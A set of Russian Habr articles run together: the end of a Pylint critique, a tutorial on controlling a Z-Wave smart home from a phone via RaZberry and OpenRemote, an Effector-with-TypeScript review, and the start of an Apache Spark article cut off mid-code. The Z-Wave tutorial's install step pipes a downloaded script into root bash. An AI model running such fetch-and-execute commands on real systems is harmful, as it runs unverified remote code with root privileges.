Я считаю, что мои изначальные посылы о бесполезности Pylint оказались верны (в контексте той кодовой базы, для которой я использую Flake8). Чтобы я стал использовать его, показатель, отражающий количество ложные срабатываний, должен быть ниже.
Помимо создания визуального шума требуется дополнительное время, чтобы разобраться или отфильтровать ложные уведомления, и я бы не хотел добавлять в проект что-то из этого. Младшие разработчики будут покорнее вносить правки, чтобы снять замечания Pylint. Но это приведет к тому, что они сломают рабочий код, не понимая, что Pylint ошибается, или к тому, что в результате у вас будет много рефакторинга, чтобы Pylint смог понять ваш код правильно.
Если вы используете Pylint в проекте с самого начала или в проекте, где нет внешних зависимостей, я думаю, что у вас будет другое мнение, и количество ложных уведомлений будет меньше. Однако это может привести к дополнительным временным тратам.
Другой подход заключается в использовании Pylint для ограниченного числа видов ошибок. Однако таких было лишь несколько, срабатывания на которых оказывались правильными или крайне редко ложными (в относительном и абсолютном выражении). Среди них: `dangerous-default-value`, `stop-iteration-return`, `broad-exception`, `useless-object-inheritance`.
В любом случае я надеюсь, что эта статья помогла вам при рассмотрении вопроса об использовании Pylint или в споре с коллегами. | https://habr.com/ru/post/499870/ | null | ru | null |
# Мобильное приложения для управления умным домом на базе Z-Wave с помощью OpenRemote
Не так давно был представлен Z-Wave модуль для Raspberry Pi — RaZBerry, который превращает мини-компьютер в полноценный контроллер умного дома. Управление Z-Wave сетью осуществляется с помощью web-интерфейса, использующего HTTP/JavaScript API. Используя JavaScript можно создать набор функций для автоматизации (включение/выключение света, проверка температуры, опрос датчика движения и др.), которые затем можно выполнить, послав HTTP запрос.
Продукт компании OpenRemote с одноименным названием позволяет создавать мобильные приложения для умного дома без программирования, при этом в одном приложении могут использоваться разные технологии: Z-Wave, KNX, X10, ZigBee, управление компьютером по ssh и др.
OpenRemote это сервер выполняющий любые команды и конструктор интерфейсов в котором вы создаете кнопки, переключатели, надписи и др. и этим элементам уже назначаете команды, в нашем случае это HTTP запросы на выполнение JavaScript функций на сервере Z-Wave.
Далее я по пунктам расскажу как создать пульт управления умным домом для iPhone и Android! А вот так будет выглядеть наше приложения, когда мы закончим:
Под катом много картинок.
1. Создание сети Z-Wave c помощью контроллера Raspberry Pi + RaZberry
* Установка ПО RaZberry на Raspberry Pi
* Добавление Z-Wave устройств
* Проверка работы устройства
* О предоставленном API автоматизации
* Создание JS скриптов для удаленного управления
2. Установка OpenRemote контроллера и мобильного приложения
3. Создание дизайна приложения и логики его работы
* Разработка дизайна
* Создание команд управления и сенсоров
* Ассоциация кнопок с командами
* Синхронизация с мобильным приложением
4. Резюме
5. Ссылки
Создание сети Z-Wave c помощью контроллера Raspberry+RaZberry
=============================================================
RaZberry — это плата подключаемая к Raspberry Pi через GPIO, позволяющая создавать и управлять Z-Wave сетью. Для лучшего понимая прочтите [Faq](http://razberry.zwave.me/faq.php). В комплекте с платой идет софт, который нужно установить.
### Установка ПО RaZberry на Raspberry
Установщик поддерживает только Debian-based дистрибутивы (Raspbian, Xbian и др.) Однако ручками можно поставить ПО и на OpenElec и другие ОС.
Выполните команду для установки ПО Z-Way:
```
wget -q -O - http://razberry.z-wave.me/install | sudo bash
```
После установки, нужно обязательно перезагрузить Raspberry Pi, чтобы применить изменения для Serial порта.
Чтобы попасть в панель управления умным домом перейдите по адресу <http://IP_OF_YOUR_RASPBERRY:8083>. Интерфейс программы очень простой, разобраться в нем не составит труда, есть [документация](http://razberry.z-wave.me/docs/zway.pdf). Максимальную совместимость с интерфейсом имеют браузеры: Chrome, Safari, Firefox, другие браузеры: IE, Opera могут работать некорректно.
### Добавление Z-Wave устройств
Определимся со списком используемого оборудования:
— Реле Fibaro Single Switch 3kW 2 шт.
— Датчик открытия двери/окна и температуры Fibaro Door/Window Sensor 1шт.
В нижнем меню выберите **Режим эксперта**. С помощью верхнего меню перейдите на вкладку **Сеть → Управление сетью** и нажмите **Включить (заново) устройство**, это запустит процесс ожидания включения устройства в сеть, теперь на устройстве три раза нажмите сервисную кнопку, чтобы контроллер его увидел и добавил.
### Проверка работы устройства
Убедимся, что устройство работает. Перейдите на вкладку **Настройка устройств**, кликните на только, что добавленное устройство в левой колонке и проверьте **Стадию интервью**, должно быть **Интервью прошло успешно** и между плюсиков не должно быть точек и заков Ø.
Если интервью не пройдено (есть точки и знаки Ø), то можно его повторить, для этого в нижней части экрана нажмите **Дополнительные действия → Принудительно повторить интервью** (Режим эксперта должен быть включен, чтобы увидеть это меню).
После успешно пройденного интервью, на этой же вкладке **Настройка устройств** можно настроить некоторые параметры устройства (не забудьте применить настройки кнопкой **Применить настройки к данному устройству** внизу экрана, а также разбудить устройство, если оно работает на батарейках):
Для управления устройством перейдите на вкладку **Управление устройствами → Выключатели**
### О предоставленном API автоматизации
Удостоверившись, что все устройства работают правильно, попробуем теперь управлять ими удаленно. Есть несколько способов:
1. С помощью HTTP/JSON API
2. C помощью JavaScript API
**HTTP/JSON API** использует простой синтаксис для управления устройствами.
Включить свет можно из браузера:
```
http://192.168.1.113:8083/ZWaveAPI/Run/devices[6].instances[0].SwitchBinary.Set(255)
```
Или запросить температуру:
```
http://192.168.1.113:8083/ZWaveAPI/Run/devices[8].instances[2].commandClasses[49].data[1].val.value
```
**JavaScript API** позволяет писать различные скрипты автоматизации, например: включить/выключить свет, опросить датчик, получить температуру, выключить свет через 2 минуты после включения. Эти скрипты могут работать как самостоятельно (например: ночью свет включается только на 15%, чтобы не слепить глаза), так и могут быть вызваны удаленно с помощью **HTTP/JSON API**.
Скрипт включения света:
```
SwitchOn = function(N,I) {
zway.devices[N].instances[I].SwitchBinary.Set(255);
}
```
Вызов скрипта включения света:
```
http://192.168.1.113:8083/JS/Run/SwitchOn(6,0)
```
К сожалению прямое обращение к устройствам с помощью HTTP/JSON API из OpenRemote проблематично по нескольким причинам:
1. Символы [] должны быть перекодированы в UTF-8 в Констукторе OpenRemote
2. При опросе датчиков OpenRemote ожидает «on» или «off», а Z-Wave датчики могут прислать 255 или 0.
3. Для каждого устройства придётся писать свой запрос, а с помощью JS можно использовать только одну функцию для включения различных устройств, изменяя в запросе только параметр функции — номер устройства.
При использовать JavaScript API все эти проблемы исчезают — несколько функций «хэлперов» помогут преобразовать термины Z-Wave в удобные для OpenRemote понятия.
Более подробно о синтаксисе HTTP/JSON API и JavaScript API можно почитать в недавней [статье о RaZberry на хабре](http://habrahabr.ru/post/174825/).
### Создание JS скриптов для удаленного управления
JS скрипты находятся в **/opt/z-way-server/automation/**, создадим файл в котором будут храниться наши функции автоматизации **openremote.js**, чтобы он автоматически загружался при включении Z-Way, в конец главного файла автоматизации **main.js** добавьте:
```
// ======================================================
executeFile(automationRoot + "/" + "tags.js");
executeFile(automationRoot + "/" + "openremote.js");
startAutomation();
```
**/opt/z-way-server/automation/openremote.js**
```
// Включение устройства
SwitchOn = function(N,I) {
zway.devices[N].instances[I].SwitchBinary.Set(255);
}
// Выключение устройства
SwitchOff = function(N,I) {
zway.devices[N].instances[I].SwitchBinary.Set(0);
}
// Запрос на статус датчика (сработал/не сработал)
SensorStatus = function(N,I) {
return zway.devices[N].instances[I].SensorBinary.data.level.value;
}
// Запрос на состояние устройство (включено/выключено)
SwitchStatus = function(N,I) {
return zway.devices[N].instances[I].SwitchBinary.data.level.value;
}
// Запрос температуры с округлением до целого
Temperature = function(N,I) {
return Math.round(zway.devices[N].instances[I].commandClasses[49].data[1].val.value);
}
```
Параметр N — номер устройства в сети.
Параметр I — внутри одного устройства может быть физически несколько устройств (каналов), например 2 реле или датчик температуры, датчик движения, датчик освещенности. Параметр I это номер канала внутри устройств. Если устройство содержит только одно физическое устройство, то это параметр равен 0.
После создания файла нужно либо перезапустить Z-Way командой:
```
/etc/init.d/Z-Way restart
```
либо подгрузить скрипт вручную, послав запрос из браузера:
```
http://192.168.1.113:8083/JS/Run/executeFile("automation/openremote.js")
```
Проверить работоспособность функций можно из браузера.
Включить свет:
```
http://192.168.1.113:8083/JS/Run/SwitchOn(6,0)
```
Запросить температуру:
```
http://192.168.1.113:8083/JS/Run/Temperature(8,2)
```
В отладке очень хорошо помогает лог Z-Way сервера:
```
tail -f /var/log/z-way-server.log
```
Если все работает, переходим к следующему пункту!
Установка OpenRemote контроллера
================================
Контроллер OpenRemote представляет из себя сервер, который получает команды от мобильного или веб приложения и дальше транслирует их другому контроллеру или серверу. В нашем случае это Z-Way сервер.
На сайте OpenRemote есть очень подробная инструкция по установке, которой и предлагаю воспользоваться:
[Официальная инструкция по установке OpenRemote на английском языке](http://www.openremote.org/display/docs/OpenRemote+2.0+How+To+-+Install+Controller+on+Raspberry+Pi)
Замечу лишь, что OpenRemote написан на Java и нам нужна версия виртуальной машины с аппаратной поддержкой плавающей запятой:
[JAVA для ARM процессоров в поддержкой плавающей запятой](https://jdk8.java.net/fxarmpreview/index.html)
Установите мобильное приложение для вашего телефона:
[Мобильное приложение OpenRemote](http://www.openremote.org/display/HOME/Download)
Перед тем как приступить к разработке приложения, для лучшего понимая посмотрите как оно будет работать:
Создание дизайна приложения и логики его работы
===============================================
Все предыдущие шаги были лишь подготовкой к главному — созданию мобильного приложения!
Откройте облачный Конструктор [http://designer.openremote.org](http://designer.openremote.org/). Разобраться в нем не составит труда!
### Разработка дизайна
Сразу перейдем к разработке дизайна.
1. Перейдите на вкладку **UI Designer**  и создайте новую панель, назвав ее например, iPhone4.
2. Перетяните из правой панели кнопки и изображения на экран iPhone.
3. В свойствах изображения (правая панель) загрузите ваши картинки и с помощью полей Left, Right, Width, Height расположите их на экране как вам нужно. Я загрузил изображения квадрата и лампочки, также добавил надпись.
### Создание команд управления и сенсоров
Теперь нужно на кнопки назначить команды, а картинка лампочки должна изменяться в зависимости от состояния света (включен/выключен).
1. Перейдите на вкладку  и создайте новый девайс, назвав его например, Raspberry.
2. Выберите только что созданный девайс Raspberry и создайте новую команду для него **New → New command**. Выбираем протокол **HTTP**, вводим **URL** JS-команды и метод устанавливаем **POST**.
Эта команда включает устройство №6. Аналогично создаем команды включения других устройств и команды выключения.
```
http://192.168.1.113:8083/JS/Run/SwitchOn(6,0)
```
3. Теперь нужно создать команду для опроса состояния света. Это команда будет вызываться каждые 2 секунды, поэтому если вы вручную выключите свет, то в нашем приложении это сразу станет заметно. Как обычно **New →  New command**, но дополнительно нужно указать с какой периодичность проводить опрос **Polling**, устанавливаем **2s**, буква **s** обязательна.
4. Создадим Sensor, который будет обрабатывать полученные значения от этой команды и передавать их изображению или надписи. **New →  New Sensor**, выбираем команду, которую будет выполнять сенсор, устанавливаем тип **custom**, добавляем два состояния **on** и **off**, ассоциируем их с возвращаемыми значениями Z-Wave.
### Ассоциация кнопок с командами
1. Последний этап разработки приложения, ассоциация кнопок с командами. Вернитесь к дизайнеру приложения **UI Designer** , выберите вашу кнопку и в её свойствах установить команду, которую она должна выполнять.
2. Ассоциируйте изображение с сенсором, чтобы при изменении состояния устройства изменялась и картинка в приложении. Выберите изображение и в его свойствах установите сенсор.
3. В свойствах изображения выберите какая картинка будет показана если сенсор прислал **on** и какая, если сенсор прислал **off**.
### Синхронизация с мобильным приложением
1. Наше приложение готово, осталось его только залить в телефон. Перейдите по адресу контроллера OpenRemote <http://OpenRemoteServer:8080/controller/>, и нажмите **Sync with Online Designer**, тем самым вы загрузите созданное приложение на контроллер OpenRemote.
2. По адресу <http://OpenRemoteServer:8080/webconsole/> можно увидеть наше готовое приложение.
3. Откройте приложение OpenRemote на мобильном, задайте адрес сервера OpenRemote, выберите панель iPhone4, которую мы создали в **UI Designer**.
4. Теперь можно протестировать приложение на мобильном, я продолжил разработку дальше, добавил датчик температуры, датчик открытия окна, и сделал панель для управления медиаплеером XBMC.
Резюме
======
На изучение OpenRemote и разработку приложения я затратил один день! Этот инструмент очень прост в освоении, что экономит время. OpenRemote дает безграничные возможности по автоматизации дома, объединяя различные протоколы под одним крылом, а RaZberry оказалось очень удачным решением для управления оборудованием Z-Wave из OpenRemote.
Ссылки
======
[Документация по Z-Way](http://razberry.z-wave.me/docs/zway.pdf)
[RaZberry — умный дом на базе Z-Wave и Raspberry Pi](http://habrahabr.ru/post/174825/)
[How To Install OpenRemote Controller on Raspberry Pi](http://www.openremote.org/display/docs/OpenRemote+2.0+How+To+-+Install+Controller+on+Raspberry+Pi)
[OpenRemote Configure Z-Wave for Razberry](http://www.openremote.org/display/docs/OpenRemote+2.0+How+To+-+Z-Wave+with+Razberry) | https://habr.com/ru/post/180749/ | null | ru | null |
# Использование Effector в стеке React + TypeScript
Всем привет! Меня зовут Елизавета Добрянская, я frontend-разработчик в компании ДомКлик. Моя команда занимается разработкой сервисов, предназначенных для коммуникаций с клиентом.
В этой статье я поделюсь своим кратким обзором внедрения стейт-менеджера Effector в продуктовый проект на стеке React + TypeScript, а также покажу на примере, как легко это можно сделать.
Содержание:
1. Немного предыстории
2. Первая встреча с Effector
3. Боль как начало
4. Выходим на новый уровень — получаем удовольствие
5. Best practices
6. Итоги
7. Вместо послесловия
### Немного предыстории
Моя команда занимается разработкой разных видов сервисов коммуникаций — отдельных виджетов, npm-пакетов, SSR, полностраничных сайтов. У всех этих продуктов есть одно важное требование: интерфейс должен быстро реагировать на действия пользователя, при этом сам сервис должен выдерживать большую нагрузку. А это значит, что на нас, как на разработчиках, лежит большая ответственность за то, как мы проектируем frontend.
Перед созданием нового проекта мы с командой устроили брейншторм на предмет выбора стейт-менеджера. Нам было важно, чтобы он стал хорошим помощником в разработке, позволял быстро и удобно писать код, и плюс ко всему не «бил» по производительности нового проекта. Его главной задачей стало сохранение данных на клиенте для дальнейшей модификации и отправки на бек (ничего необычного).
Выбирали между Redux, Mobx и Effector. Первые два мы пробовали, и впечатления остались очень неоднозначные. И как ясно из статьи, выбрали последний, потому что любопытно было узнать, что же за зверь такой этот Effector и чем он может помочь нам. К тому же новый проект создавался для внутренних нужд и на нем вполне можно было поэкспериментировать.
ATTENTION: приведенные в статье размышления являются сугубо субъективными, поэтому ваше мнение может отличаться от моего. Они носят обозревательный характер и позволяют познакомиться с Effector на моем примере.
Все примеры с кодом доступны [в тестовом проекте на GitHub](https://github.com/domclick/effector-example), который при необходимости можно запустить и лично познакомиться с Effector.
### Первая встреча с Effector
Что есть Effector? Модный, молодежный реактивный стейт-менеджер :) А потому понять его базовые принципы оказалось довольно просто. В его основе лежат три простых базовых сущности:
* Хранилище (Store) — это место, где мы храним наши данные.
* Событие (Event) — это действие, которое каким-то образом модифицирует хранилище.
* Эффект (Effect) — это *асинхронное* действие, связанное с хранилищем.
У каждой из сущностей есть большое количество различных методов, позволяющих изменять входные/выходные параметры, связывать сущности между собой и выполнять другие крутые штуки.
Основная идея, лежащая в основе Effector — подписка на события. У нас есть хранилище, мы подписываемся на его обновления, вешая определенный обработчик. Например:
```
// Создаем хранилище, в котором будет лежать массив пользователей
// IUser — интерфейс, описывающий пользователя (имя, фамилия и т.п.)
export const $users = createStore([]);
// Создаем событие, принимающее параметр IUser
export const update = createEvent();
// Обычный хендлер на обновление. Добавляем или изменяем пользователя
const updateStore = (state: IUser[], data: IUser) => {
const userIndex = state.findIndex((user) => user.id === data.id);
// Изменяем стейт
if (userIndex > -1) {
state.splice(userIndex, 1, data);
} else {
state.push(data);
}
// Возвращаем измененный стейт
return [...state];
};
// Подписываемся на событие в хранилище
$users
.on(update, updateStore);
```
Effector позволяет работать с разными типами приложений, таких как React, React Native, Vue, Node.js. Кроме того, он поддерживает TypeScript.
Для работы с React есть удобный пакет `effector-react`, предоставляющий несколько интерфейсов взаимодействия React-компонентов с Effector. Самый простой способ — использовать хук `useStore` для максимально лаконичной работы с хранилищами Effector. Вот пример работы с описанным выше хранилищем `$users`, где по нажатию на кнопку мы добавляем в хранилище пользователя-заглушку:
```
import { useStore } from 'effector-react';
import { $users, update } from 'models/users';
export const UserList = () => {
const users = useStore($users);
const mockUser = {
id: 1111,
name: 'Peter',
surname: 'Jonson',
age: 25,
gender: 'male',
};
const usersItems = users.map((user) => (
Name: {user.name}
Surname: {user.surname}
Age: {user.age}
Gender: {user.gender}
));
return (
{usersItems}
update(mockUser)}>
Add mock user to Effector store
);
};
```
Ради интереса можно попробовать сделать то же самое, но с хуком `useList`. Он предоставляет упрощенный вариант взаимодействия с хранилищем-массивом. Реализация аналогичной задачи:
```
import { useList } from 'effector-react';
import { $users, update } from 'models/users';
export const UserList2 = () => {
// Можно преобразовать в массив нод сразу при подключении.
// Не нужно использовать пропс key, как было с map()
const users = useList($users, (user) => (
Name: {user.name}
Surname: {user.surname}
Age: {user.age}
Gender: {user.gender}
));
const mockUser = {
id: 2222,
name: 'Diana',
surname: 'Gregory',
age: 22,
gender: 'female',
};
return (
{users}
update(mockUser)}>
Add mock user to Effector store
);
};
```
Об этом и многом другом можно почитать [в официальной документации Effector](https://effector.dev/). Поэтому долго не будем на этом останавливаться и перейдем к «самому сладенькому». Далее я расскажу про боли и страдания в процессе работы с этим, казалось бы, очень простым и удобным стейт-менеджером. Без купюр.
### Боль как начало
Не стоит думать, что статья про несовершенный, наполненный кучей проблем и багов продукт увидела бы свет. Проблемы, описанные здесь, я встретила будучи полным новичком в Effector. По итогу они были повержены, а автор этой статьи — счастлив :) Если вы встретите похожие проблемы, то можете воспользоваться приведенными решениями или модернизировать их, чтобы создать своё.
**1) TypeScript**
Да, самым сложным для меня оказалась поддержка такого же модного и молодежного, как и Effector, языка программирования TypeScript. В официальной документации Effector-а все примеры приведены на чистом JavaScript. Есть, конечно, маленькая робкая вкладка "TypeScript", которая, в основном, даёт только понимание того, куда нужно добавить типы в описании основных сущностей, но на этом всё. Поэтому сначала я использовала `any`, а под конец пришлось очень много страдать с расстановкой правильных типов (особенно касательно эффектов).
Так, например, родились следующие интерфейсы функций (слабонервным не смотреть):
```
// Создаем эффекты для получения и изменения данных о пользователях
// IUserPayload - интерфейс пользователя, приходящий с сервера
export const getUsersFx = createEffect();
export const updateUserFx = createEffect<
IUserPayload,
IUserPayload,
Error
>();
// Изменяем формат данных из хранилища в формат, необходимый для отправки запроса
const serializeDataBeforeFetch = attach<
IUser,
Store,
typeof updateUserFx
>({
effect: updateUserFx,
source: $users,
mapParams: (params: IUser, data: IUser[]) => {
const user = data.find((item) => item.id === params.id)!;
const userCopy = { ...user };
delete userCopy?.onlineStatus;
return userCopy;
},
});
```
*Небольшие пояснения по коду.*
Эффекты имеют следующий формат типизации:
1. Тип передаваемого в эффект значения.
2. Тип возвращаемого из эффекта значения.
3. Тип ошибки для случая, если что-то пошло не так.
Про функцию `serializeDataBeforeFetch` расскажу ниже, а пока стоит обратить внимание на типы метода `attach`, предоставляемого Effector:
1. Тип передаваемого значения.
2. Тип данных хранилища.
3. Тип эффекта, используемого внутри `attach`.
**2) Асинхронные события**
Поначалу было очень сложно это понять и принять. Представьте ситуацию, что вы написали код, и при тестировании он выдает неожиданные результаты и ошибку. Вы пытаетесь отладить ошибкоопасное место с помощью точек останова, но видите, что в дебаг-режиме всё работает, как нужно. А вот в обычном режиме (и на самом деле) всё не так, ничего не работает. То есть в режиме отладки вы как бы «притормаживаете» свой код, и поэтому он отрабатывает корректно, а на самом деле есть проблемы. Собственно, это просто нужно принять к сведению торопливому разработчику — *действия в Effector происходят асинхронно* (подобно `setState` в React).
**3) Получение доступа к текущему состоянию**
Этот пункт про то, что нужно *внимательно* смотреть документацию :)
Некоторые методы в Effector могут первым параметром принимать текущее состояние хранилища, а некоторые — нет. Поэтому нужно внимательно выбирать методы обработки.
**4) Четкий интерфейс работы с сущностями**
Почему это может быть плохо? Потому что сложно отслеживать результат изменения хранилища в рамках связанного компонента. Интерфейс взаимодействия упрощенно выглядит так:
* Хранилище — readonly. В компоненте мы на него подписываемся, и все изменения считываем реактивно.
* Событие — по сути, setter. Мы говорим «измени моё хранилище, добавь в него эти данные и удали те». Событие ничего не возвращает. Поэтому его нельзя использовать как getter и получить отфильтрованные данные из хранилища напрямую (об этом будет далее).
* Эффект — аналогичен событию, но имеет свойства `.done`, `.fail`, `.pending` и `.finally`, с которыми можно взаимодействовать (об этом тоже будет далее).
**5) Отсутствие геттеров**
Если вы раньше работали с Mobx или Redux, то привыкли, что у модели можно задать геттеры и обращаться к ним для получения, например, отфильтрованных или хитро измененных данных. Как было сказано выше, в Effector такого нет. Но... Зачем нам геттер, если мы можем создать новое хранилище?
Для нас привычно, что хранилище относится к модели 1 к 1. Здесь эта логика рушится в пух и прах. Мы можем создавать несколько хранилищ, связанных друг с другом, как нам нужно.
Пример нового хранилища, зависимого от основного:
```
// Учебный пример.
// Предположим, на клиенте нужно дополнительное поле со статусом пользователя.
// Оно не приходит с сервера, и мы добавляем его искусственно.
// Добавляем поле Статус каждому пользователю
const serializeUsers = (state: IUser[]) =>
state.map((user) => ({ ...user, onlineStatus: true }));
/**
* Новое хранилище, зависимое от хранилища $users.
* Данные из $users прогоняются через функцию serializeUsers
* и сохраняются в новое хранилище, которое можно использовать в компоненте
*/
export const $usersWithStatus = $users.map(serializeUsers);
```
**6) Отслеживание статуса эффектов**
У эффектов есть промисоподобные свойства `.done`, `.fail`, `.pending` и `.finally`*.* Поэтому кажется, что очень удобно отслеживать статус. Но обычно он важен для отображения данных в компоненте: когда мы послали запрос на данные и ожидаем ответа, нужно показывать лоадер; когда данные загружены с ошибкой — нужно показать ошибку. Поэтому необходимо каким-то образом прокидывать эти статусы в компонент. Как было сказано выше, геттеров нет. Но есть хранилища! Можно создать хранилище, сочетающее в себе все статусы:
```
/* МОДЕЛЬ В EFFECTOR */
// Создаем эффект, который делает GET-запрос на бек
export const getUsersFx = createEffect();
// Создаем хранилище, в котором будет лежать ошибка, если GET-запрос зафейлится
// I вариант
export const $fetchError = restore(getUsersFx.failData, null);
// Создаем другое хранилище, содержащий всю информацию по GET-запросу
export const $usersGetStatus = combine({
loading: getUsersFx.pending,
error: $fetchError,
data: $users,
});
```
```
/* КОМПОНЕНТ, ИСПОЛЬЗУЮЩИЙ ХРАНИЛИЩЕ */
export const UserList3 = () => {
// Подключаем хранилище в компонент
const { loading, error, data } = useStore($usersGetStatus);
// Делаем запрос на бек на didMount
useEffect(() => {
getUsersFx();
}, []);
if (loading) {
return (
Загрузка...
);
}
if (error) {
return (
**Произошла ошибка:**
{error.message}
);
}
const usersItems = data.map((user) => (
Name: {user.name}
Surname: {user.surname}
Age: {user.age}
Gender: {user.gender}
));
return (
{usersItems}
);
};
```
В приведённом выше варианте создания хранилища `$fetchError` был использован еще один метод Effector — `restore`. Он позволяет создать хранилище, содержимое которого будет зависеть от события наступления события. Очень удобно использовать для очистки (сброса в начальное состояние) хранилища.
Создать хранилище `$fetchError` можно и через стандартный `createStore` :
```
// II вариант
export const $fetchError = createStore(null);
$fetchError
.on(getUsersFx.fail, (\_, { error }) => error)
.reset(getUsersFx.done);
```
### Выходим на новый уровень - получаем удовольствие
Несмотря на большое количество непоняток, которые может встретить начинающий эффекторец, в процессе ты понимаешь, что он очень удобный. Ниже я выделила основные пункты, которые понравились лично мне.
**1) Никаких лишних телодвижений для подписки на хранилище**
При грамотно созданных моделях в компоненте не нужно страдать и отслеживать все свои телодвижения по обновлению хранилища. Подключили его в компонент — он всегда актуален и перерисовывается при каждом обновлении хранилища. Никаких тебе Mobx-овых `@action`, `@computed` и прочей ручной настройки. Каеф :)
**2) Меньше кода (и меньше размер)**
Нет надобности создавать отдельные классы-модели, прописывать им интерфейсы. Создали хранилище, создали событие, подписали событие на хранилище — готово!
И да, размер двух подключенных библиотек effector и effector-react составляет около 8 Кб (у Mobx сумма подключенных библиотек — около 15-20 Кб)!
**3) Минимальное взаимодействие компонента и хранилища**
Когда я решала похожую задачу на Mobx, у меня было очень странное взаимодействие компонента и хранилища:
1. Из компонента посылаем запрос на бек (потому что нужно отслеживать статус запроса).
2. Здесь же получили данные и положили их в хранилище.
Т.е. компонент используется как прокси в этом случае. И это кажется очень странным, потому что зачем? Нам нужно просто положить данные из ответа на запрос в хранилище, без взаимодействия с компонентом.
Effector позволяет реализовать работу напрямую: из хранилища послал запрос, в хранилище положил ответ. И наоборот. Это, например, очень удобно делается с помощью метода `forward`. Мы перенаправляем выход эффекта на вход события.
Для примера рассмотрим историю, когда нам нужно обновить хранилище и сразу же отправить запрос на бек. Выше был пример с добавлением искусственного поля `onlineStatus` в модель пользователя. Перед отправкой удалим это поле из пейлоада, т.к. бек про него ничего не знает. Описанную историю можно реализовать таким образом:
```
/* СОЗДАНИЕ СОБЫТИЯ */
// Создаем событие на обновление хранилища
export const update = createEvent();
// Хендлер на обновление хранилища (был описан выше)
const updateStore = (state: IUser[], data: IUser) => {
const userIndex = state.findIndex((user) => user.id === data.id);
// Изменяем стейт
if (userIndex > -1) {
state.splice(userIndex, 1, data);
} else {
state.push(data);
}
// Возвращаем измененный стейт
return [...state];
};
// Подписываемся на обновление хранилища через хендлер
$users
.on(update, updateStore)
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
/\* СОЗДАНИЕ ЭФФЕКТА \*/
// Создаем эффект для изменения данных о пользователе (Запрос на бек)
export const updateUserFx = createEffect();
// Асихронная функция запроса на бек
const updateUser = async (data: IUserPayload): Promise => {
const res = await axios({
url: `/users/${data.id}`,
method: 'PATCH',
});
return res.data;
}
// Привязываем к эффекту
updateUserFx.use(updateUser);
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
/\* ПРЕОБРАЗОВАНИЕ ДАННЫХ \*/
// Изменяем формат данных из хранилища в формат, необходимый для отправки запроса
// (Удаляем искусственное поле onlineStatus)
const serializeDataBeforeFetch = attach<
IUser,
Store,
typeof updateUserFx
>({
effect: updateUserFx,
source: $users,
mapParams: (params: IUser, data: IUser[]) => {
const user = data.find((item) => item.id === params.id)!;
const userCopy = { ...user };
delete userCopy?.onlineStatus;
return userCopy;
},
});
// Связываем событие и функцию-преобразователь
forward({
from: update,
to: serializeDataBeforeFetch,
});
```
*Пояснения по коду.*
Стек вызова упрощенно будет выглядеть следующим образом:
1. `update(...)` — вызываем событие на обновление хранилища из компонента.
2. `updateStore` — хранилище обновляется согласно переданному хендлеру.
3. `serializeDataBeforeFetch` — после обновления хранилища вызывается функция преобразования его данных в пейлоад. В ней используется метод Effector `attach`, позволяющий сделать `forward` с модификацией.
4. `updateUserFx` — вызываем эффект на обновление.
5. `updateUser` — делаем запрос на бек.
Вуаля!
Да, на первый взгляд это выглядит запутанно. Но если в этом разобраться, можно очень удобно использовать «перебрасывание» данных из одной функции в другую.
**4) Крутое и отзывчивое сообщество**
Когда я поняла, что в документации и гугле нужных мне примеров нет от слова совсем, я решила действовать радикально и пойти в сообщество Effector в Telegram. Я задала один вопрос «от хлебушка», на который я получила за один вечер... *5 разных вариантов решений* от разных разработчиков! Причём решения были разные по уровню сложности, я могла выбрать любое из них, или скомбинировать и создать своё. Некоторые решения были очень хорошо расписаны и объяснены, некоторые содержали продуктовый код с примерами прямо на GitHub, некоторые содержали ссылки на воркшопы по Effector. В общем, я приятно удивлена, что есть такое классное сообщество, где ребята всячески поддерживают друг друга :)
Да и в целом в проекте я использовала версию Effector 21.5.0. То есть ребята мажорно обновляли свой проект 20 раз. Это очень существенно!
### Best practices
[Для тех, кто хочет знать больше] Об этом [есть статья](https://effector.dev/docs/conventions/best-practices) в самой документации, но я кратко продублирую.
* Названия хранилищ содержат символ `$`. Например, `$users`.
* Названия эффектов содержат суффикс `Fx`. Например, `getUsersFx`.
* Файловая структура. В корне исходников создается папка `models`, внутри которой лежат все модели, работающие с Effector. У каждой модели есть два файла:
+ `index.ts` — файл, где мы *объявляем* все хранилища, события, эффекты. Это файл начального объявления;
+ `init.ts` — файл, где мы *описываем* все хранилища, события, эффекты и связываем их между собой. Здесь вся бизнес-логика.
### Итоги
В заключение хочу заметить, что Effector выглядит наиболее приятным в использовании стейт-менеджером. Он позволяет легко разделять работу с данными по разным хранилищам и не держать всё в одном (декомпозиция лайк). В нем используется неизменяемый стейт и нет необходимости писать много дублирующегося кода, что повышает производительность вашего проекта. Effector обладает удобным API и прекрасным сообществом разработчиков, поддерживающих проект.
Я определенно убеждена, что использование Effector в продуктовой разработке — одно из самых удобных решений. Особенно, если в нем разобраться глубже, чем просто на уровне новичка. Поэтому внедряйте новый стейт-менеджер в свои проекты, пишите комментарии к этой статье и давайте продолжать делать крутой веб вместе ;)
#### Вместо послесловия
Полезные ссылки:
* [Тестовый проект с представленным в статье кодом](https://github.com/domclick/effector-example)
* [Документация Effector](https://effector.dev/)
* [GitHub Effector](https://github.com/effector/effector)
* [Сообщество Effector в Telegram](https://t.me/effector_ru)
* [Новости и советы по Effector в Telegram-канале](https://t.me/effector_tips_ru)
* [Почему лучше выбрать Effector, а не Mobx или Redux](https://dev.to/lessmess/why-i-choose-effector-instead-of-redux-or-mobx-3dl7)
* [Почему нужно попробовать Effector](https://itnext.io/effector-state-manager-you-should-give-a-try-b46b917e51cc)
* [Знакомство с Effector на примере TODO-листа](https://m.habr.com/ru/post/487938/)
* [2-часовой воркшоп по Effector](https://github.com/YanLobat/effector-workshop/tree/master) | https://habr.com/ru/post/532016/ | null | ru | null |
# Apache Spark: оптимизация производительности на реальных примерах
Apache Spark – фреймворк для обработки больших данных, который давно уже стал одним из самых популярных и часто встречаемых во всевозможных проектах, связанных с Big Data. Он удачно сочетает в себе скорость работы и простоту выражения своих мыслей разработчиком.
Разработчик работает с данными на достаточно высоком уровне и, кажется, что нет ничего сложного в том, чтобы, например, соединить два набора данных, написав всего одну строку кода:
```
ordersDF.join(customersDF,
